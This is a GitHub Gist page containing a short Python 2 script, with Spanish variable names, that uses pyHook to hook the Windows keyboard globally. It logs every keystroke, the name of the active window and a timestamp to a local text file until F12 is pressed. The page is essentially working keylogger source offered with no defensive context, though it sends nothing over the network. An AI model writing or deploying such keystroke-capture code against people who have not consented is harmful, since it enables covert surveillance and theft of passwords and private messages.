Created
April 29, 2013 22:10
-
-
Save daryo918/5485203 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: iso-8859-15 -*- | |
import pythoncom, pyHook, time | |
n = "ventana" | |
def OnKeyboardEvent(event): | |
global n | |
teclas = event.Key | |
ventana = event.WindowName | |
tiempo=time.asctime() | |
nm = open("write.txt","a") | |
if teclas=="Space": | |
teclas=" " | |
if teclas =="Oem_Comma": | |
teclas="," | |
if teclas=="Oem_Period": | |
teclas="." | |
if teclas=="Oem_4": | |
teclas="'" | |
if teclas=="Oem_6": | |
teclas="¿" | |
if teclas=="Oem_Plus": | |
teclas="+" | |
if teclas=="Oem_Minus": | |
teclas="-" | |
if teclas=="Return": | |
teclas="\n" | |
if teclas=="Capital": | |
teclas=" mayus " | |
if n == ventana: | |
print "mismo programa" | |
else: | |
nm.write("\n---------------------------\n") | |
teclas = "\n" + "programa:" + ventana + "\n" + tiempo + "\n" + "captura:" + teclas | |
nm.write(teclas) | |
nm.close() | |
if teclas == "F12": | |
exit("acabado") | |
n = ventana | |
return True | |
hm = pyHook.HookManager() | |
hm.KeyDown = OnKeyboardEvent | |
hm.HookKeyboard() | |
pythoncom.PumpMessages() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment